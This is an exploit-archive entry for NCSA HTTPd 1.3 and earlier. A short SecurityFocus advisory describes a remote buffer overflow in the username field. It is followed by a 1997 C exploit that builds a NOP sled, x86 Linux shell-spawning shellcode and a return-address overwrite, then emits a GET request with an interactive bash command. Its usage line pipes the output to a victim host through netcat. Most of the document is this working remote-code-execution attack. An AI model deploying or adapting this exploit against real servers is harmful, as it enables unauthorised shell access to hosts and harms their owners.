source: http://www.securityfocus.com/bid/3158/info

NCSA HTTPd is a free, open-source web server for *nix systems.

NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.

Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

/*
 * NCSA 1.3 Linux/intel remote xploit by [email protected] 1997-April-23
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!!
 *
 * usage:
 *	$ (hackttpd 0; cat) | nc victim 143
 *                  |
 *                  +--> usually from -1000 to 1000 (try steeps of 100)
 */

#include <stdio.h>

unsigned char shell[] = {
'/',0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76,
0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b,
0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff,
'b','i','n','/','s','h'
};

char username[256+8];

void main(int argc, char *argv[]) {
	int i,a;
	long val;
	
	if(argc>1)
		a=atoi(argv[1]);
	else
		a=0;
	
	strcpy(username,shell);
	
	for(i=strlen(shell);i<sizeof(username);i++)
		username[i]=0x90; /* NOP */

	val = 0xbfff537c + 4 + a; 

	i=sizeof(username)-4;
	{
		username[i+0] = val & 0x000000ff;
		username[i+1] = (val & 0x0000ff00) >> 8;
		username[i+2] = (val & 0x00ff0000) >> 16;
		username[i+3] = (val & 0xff000000) >> 24;
	}
	
	username[ sizeof(username) ] = 0;
	
        printf("GET %s\n/bin/bash -i 2>&1;\n", username);
}